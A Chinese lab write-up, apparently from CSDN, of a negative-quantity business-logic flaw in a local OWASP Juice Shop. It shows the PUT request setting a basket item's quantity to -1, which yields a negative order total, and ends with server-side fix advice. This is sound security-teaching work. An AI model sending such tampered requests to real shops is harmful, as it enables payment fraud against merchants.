本文实验均在个人本地部署、合法授权的 OWASP Juice Shop 靶场环境中完成,仅用于安全学习、漏洞分析与防御研究。
本次实验针对购物车数量修改和订单结算流程进行业务逻辑测试,验证服务端是否会对商品数量和订单金额进行有效校验。
一 漏洞发现与验证
1. 正常添加商品请求基线
首先登录普通用户账号,选择一个商品加入购物车,并使用 Burp Suite 捕获添加购物车请求。
正常添加商品时,请求如下:
POST /api/BasketItems/ HTTP/1.1
Host: localhost:3000
Authorization: Bearer <JWT_TOKEN>
Content-Type: application/json
Cookie: language=zh_CN; token=<JWT_TOKEN>
请求体如下:
{
"ProductId": 25,
"BasketId": "9",
"quantity": 1
}
从请求体可以看到,客户端向服务端提交了三个关键字段:
| 字段 | 说明 | 当前值 |
|---|---|---|
ProductId | 商品 ID | 25 |
BasketId | 当前用户购物车 ID | 9 |
quantity | 添加商品数量 | 1 |
其中,quantity 表示本次添加到购物车的商品数量。正常情况下,该字段应为正整数。
服务端响应如下:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 158
响应体如下:
{
"status": "success",
"data": {
"id": 31,
"ProductId": 25,
"BasketId": "9",
"quantity": 1,
"updatedAt": "2026-09-30T08:28:44.081Z",
"createdAt": "2026-09-30T08:28:44.081Z"
}
}
从响应结果可以看到,服务端返回 200 OK,并且响应体中的 status 为 success,说明本次添加商品请求被服务端成功处理。
响应体中的关键字段如下:
| 字段 | 说明 | 当前值 |
|---|---|---|
id | 购物车条目 ID,也就是 BasketItem ID | 31 |
ProductId | 商品 ID | 25 |
BasketId | 当前用户购物车 ID | 9 |
quantity | 服务端记录的商品数量 | 1 |
其中,id: 31 表示本次创建的购物车条目 ID,后续如果需要修改或删除该购物车条目,通常会用到这个 ID。
本步骤可以得到如下结论:
1. 客户端可以通过 POST /api/BasketItems/ 向购物车添加商品。
2. 请求体中包含 ProductId、BasketId 和 quantity 三个关键业务参数。
3. quantity 字段由客户端提交,属于后续需要重点验证的可控参数。
4. 服务端在正常 quantity=1 的情况下返回 200 OK,并成功创建购物车条目。
2. 正常数量修改请求验证
在完成商品添加后,购物车中已经存在一条商品记录。前一步响应中的 id 字段为 31,表示当前购物车条目的 BasketItem ID。
为了验证数量修改接口,进入购物车页面,将商品数量从 1 修改为 2,并使用 Burp Suite 捕获请求发送至Repeater模块。

请求如下:
PUT /api/BasketItems/31 HTTP/1.1
Host: localhost:3000
Authorization: Bearer <JWT_TOKEN>
Content-Type: application/json
Cookie: language=zh_CN; token=<JWT_TOKEN>
请求体如下:
{
"quantity": 2
}
其中:
| 字段 | 说明 | 当前值 |
|---|---|---|
| 请求方法 | 修改已有购物车条目 | PUT |
| 请求路径 | 当前购物车条目接口 | /api/BasketItems/31 |
| BasketItem ID | 被修改的购物车条目 ID | 31 |
quantity | 修改后的商品数量 | 2 |
服务端响应如下:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 156
响应体如下:
{
"status": "success",
"data": {
"ProductId": 25,
"BasketId": 9,
"id": 31,
"quantity": 2,
"createdAt": "2026-09-30T08:28:44.081Z",
"updatedAt": "2026-09-30T10:58:25.525Z"
}
}
从响应结果可以看到,服务端返回 200 OK,并且响应体中的 quantity 已经变为 2。
这说明:
1. /api/BasketItems/31 是修改已有购物车条目数量的接口。
2. quantity 字段可以由客户端提交。
3. 当 quantity 为正常正整数时,服务端接受该修改。
4. 商品数量从 1 成功修改为 2。

3. 异常数量修改验证
在确认正常数量 quantity=2 可以被服务端接受后,继续保持请求路径、当前用户身份和 BasketItem ID 不变,仅将 quantity 修改为负数。
请求如下:
PUT /api/BasketItems/31 HTTP/1.1
Host: localhost:3000
Authorization: Bearer <JWT_TOKEN>
Content-Type: application/json
Cookie: language=zh_CN; token=<JWT_TOKEN>
请求体如下:
{
"quantity": -1
}
其中,31 为前面正常添加商品时返回的 BasketItem ID。本次测试只修改 quantity 字段,其余关键参数保持不变。
服务端响应如下:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 157
响应体如下:
{
"status": "success",
"data": {
"ProductId": 25,
"BasketId": 9,
"id": 31,
"quantity": -1,
"createdAt": "2026-09-30T08:28:44.081Z",
"updatedAt": "2026-09-30T11:01:37.481Z"
}
}
从响应结果可以看到,服务端返回 200 OK,并且响应体中的 quantity 被更新为 -1。
这说明服务端在处理购物车数量修改请求时,没有拒绝负数商品数量。
两次数量修改请求对比如下:
| 测试项 | 请求体 | 响应结果 | 说明 |
|---|---|---|---|
| 正常数量修改 | {"quantity": 2} | 200 OK | 服务端接受正常正整数数量 |
| 异常数量修改 | {"quantity": -1} | 200 OK | 服务端接受负数数量 |
因此,本步骤可以得到结论:
购物车数量修改接口缺少对 quantity 取值范围的严格校验。
正常业务中,商品数量应当是正整数,不应允许出现负数。服务端接受 quantity=-1,说明该接口存在业务参数校验不足的问题。
4. 购物车金额变化验证
在上一节中,服务端接受了如下异常数量修改请求:
{
"quantity": -1
}
为了确认该异常数量是否真正影响购物车业务状态,返回购物车页面进行观察。
页面显示结果如下:
| 检查项 | 修改后结果 |
|---|---|
| 商品名称 | 榨汁机 |
| 商品数量 | -1 |
| 商品单价 | 89.99¤ |
| 购物车总价 | -89.99¤ |
| 奖励积分 | -9 |

从页面结果可以看到,购物车中的商品数量已经变为 -1,并且总价格也变为:
-89.99¤
这说明异常数量不仅被服务端接口接受,而且已经进入购物车金额计算流程。
正常情况下,商品数量应当是正整数,购物车总价也不应出现负数。但当前页面中出现了:
quantity = -1
总价格 = -89.99¤
说明服务端在购物车数量修改接口中没有正确限制 quantity 的取值范围,导致负数数量参与了金额计算。
本步骤可以得到如下结论:
1. 服务端接受了 quantity=-1。
2. 购物车页面成功显示负数数量。
3. 购物车总价受到负数数量影响,变为负数金额。
4. 异常业务参数已经进入后端金额计算流程。
因此,该问题可以归纳为:
商品数量参数校验不足
+
购物车金额计算逻辑受异常数量影响
5. 订单结算验证
在购物车金额已经出现异常的情况下,继续进入结算流程,观察异常金额是否会进入订单结算阶段。
结算页面中显示的订单摘要如下:
| 检查项 | 结果 |
|---|---|
| 商品金额 | -89.99¤ |
| 配送费用 | 0.50¤ |
| 促销抵扣 | 0.00¤ |
| 最终总价 | -89.49¤ |
| 奖励积分 | -9 |

从结算页面可以看到,负数商品金额继续进入了订单摘要计算:
最终总价 = 商品金额 + 配送费用 - 促销抵扣
= -89.99 + 0.50 - 0.00
= -89.49¤
随后点击“下单并支付”,订单被成功提交。
提交成功后,页面显示完成提示,并触发官方 challenge:
Payback Time
Place an order that makes you rich.

订单结果页面中仍然可以看到异常订单数据:
| 检查项 | 结果 |
|---|---|
| 商品名称 | 榨汁机 |
| 商品单价 | 89.99¤ |
| 商品数量 | -1 |
| 商品金额 | -89.99¤ |
| 配送费用 | 0.50¤ |
| 最终总价 | -89.49¤ |
| 订单是否提交成功 | 是 |
| 是否完成官方 Challenge | 是,Payback Time |
这说明异常商品数量不仅影响了购物车金额,还进一步进入了订单结算流程,并最终形成了负数金额订单。
该步骤可以得到如下结论:
1. 负数商品数量进入结算页面。
2. 订单总价被计算为负数。
3. 服务端允许提交该异常订单。
4. 官方 Payback Time challenge 被触发。
因此,本案例可以归纳为:
商品数量校验不足
+
订单金额计算缺少边界校验
+
异常金额进入结算流程
二 原理分析
1. 正常业务规则
在购物车与订单结算流程中,商品数量和订单金额都属于核心业务数据。
正常情况下,商品数量应满足:
Quantity 必须是正整数
Quantity 不能为 0
Quantity 不能为负数
订单金额应由服务端根据可信数据计算,而不是直接信任客户端提交的结果:
商品小计 = 商品单价 × 商品数量
订单总价 = 商品小计 + 配送费用 - 促销抵扣
最终支付金额不应为负数
因此,服务端至少需要在两个位置进行校验:
1. 修改购物车数量时,校验 quantity 是否为合法正整数;
2. 订单结算时,重新校验购物车状态并计算最终金额。
2. 本案例中的异常链路
在本次实验中,正常修改商品数量时,服务端可以接受:
{
"quantity": 2
}
这说明 /api/BasketItems/31 接口确实用于修改已有购物车条目的数量。
随后将数量修改为负数:
{
"quantity": -1
}
服务端仍然返回 200 OK,并在响应中保存了:
{
"quantity": -1
}
这说明服务端在购物车数量修改阶段没有拒绝负数数量。
之后返回购物车页面,可以看到商品数量变为 -1,购物车总价变为负数:
商品数量:-1
购物车总价:-89.99¤
继续进入结算页面后,负数金额仍然进入订单摘要:
商品金额:-89.99¤
配送费用:0.50¤
最终总价:-89.49¤
最终订单可以提交成功,并触发 Payback Time challenge。
因此,本案例中的异常链路可以概括为:
客户端提交 quantity = -1
↓
服务端接受并保存负数数量
↓
购物车金额被计算为负数
↓
负数金额进入订单结算流程
↓
异常订单提交成功
3. 漏洞本质
本问题的核心不是 SQL 注入、XSS、JWT 伪造或越权访问,而是服务端没有正确执行业务规则。
具体来说,问题出在两个位置:
1. 购物车数量修改接口没有校验 quantity 必须为正整数;
2. 订单结算流程没有拦截负数数量和负数订单金额。
前端页面中的数量按钮、输入限制或显示逻辑不能作为安全边界。只要客户端请求可以被 Burp Suite 修改,服务端就必须重新校验关键业务参数。
因此,该漏洞本质可以概括为:
服务端信任了客户端提交的商品数量,
导致负数 quantity 参与金额计算,
最终形成负数金额订单。
这类问题属于业务逻辑漏洞,关键不在于 payload 复杂,而在于服务端没有在关键业务流程中校验业务规则。
三 修复建议
本案例的核心问题是:服务端接受了 quantity=-1,并让负数数量参与购物车金额和订单金额计算。
因此,修复重点不是在前端限制按钮或输入框,而是要在服务端关键流程中做校验。
1. 限制商品数量必须为正整数
在修改购物车数量时,服务端应校验 quantity 的合法性。
本次问题请求为:
PUT /api/BasketItems/31 HTTP/1.1
异常请求体为:
{
"quantity": -1
}
服务端不应返回 200 OK,而应拒绝该请求。
建议校验规则如下:
quantity 必须是正整数
quantity 不能为 0
quantity 不能为负数
quantity 不能为小数
quantity 不能为字符串
quantity 不能超过库存或业务限制
修复后预期效果:
| 测试值 | 预期结果 |
|---|---|
1 | 允许 |
2 | 允许 |
0 | 拒绝 |
-1 | 拒绝 |
1.5 | 拒绝 |
"test" | 拒绝 |
如果数量不合法,服务端应返回类似错误:
{
"error": "Quantity must be a positive integer"
}
2. 结算前重新校验购物车数据
本实验中,负数数量不仅进入了购物车,还进入了订单结算流程:
商品数量:-1
商品金额:-89.99¤
最终总价:-89.49¤
这说明结算阶段没有再次拦截异常数据。
因此,在提交订单前,服务端应重新检查购物车中的每一项商品:
商品数量是否合法
商品价格是否来自服务端
商品小计是否正常
订单总价是否小于 0
如果购物车中存在负数数量或负数金额,应直接拒绝下单。
3. 订单金额必须由服务端计算
订单金额不能依赖客户端传来的数据,也不能只相信前端页面显示的金额。
正确逻辑应是:
服务端读取商品单价
↓
服务端读取并校验商品数量
↓
服务端计算商品小计
↓
服务端计算订单总价
↓
确认最终金额合法
↓
创建订单
也就是说,订单金额应该始终由服务端根据可信数据重新计算。
正常公式应为:
商品小计 = 商品单价 × 商品数量
订单总价 = 商品小计 + 配送费用 - 促销抵扣
最终支付金额 >= 0
不能出现本次实验中的情况:
quantity = -1
最终总价 = -89.49¤
订单仍然提交成功
4. 修复后复测
修复完成后,需要重新验证购物车修改和订单结算两个阶段。
| 复测项 | 预期结果 |
|---|---|
quantity=1 | 修改成功 |
quantity=2 | 修改成功 |
quantity=-1 | 请求被拒绝 |
| 负数数量进入购物车 | 不允许 |
| 负数金额进入结算页 | 不允许 |
| 负数金额订单提交 | 不允许 |
5. 修复总结
本漏洞的修复重点可以概括为:
服务端不能信任客户端提交的 quantity。
购物车修改阶段要校验数量。
订单结算阶段要重新校验购物车状态。
订单金额必须由服务端重新计算。
最终支付金额不能为负数。
前端限制只能提升用户体验,不能作为安全防护。真正的业务安全边界必须放在服务端。
转载自 CSDN-专业IT技术社区
原文链接:https://blog.csdn.net/2401_83721761/article/details/166902475



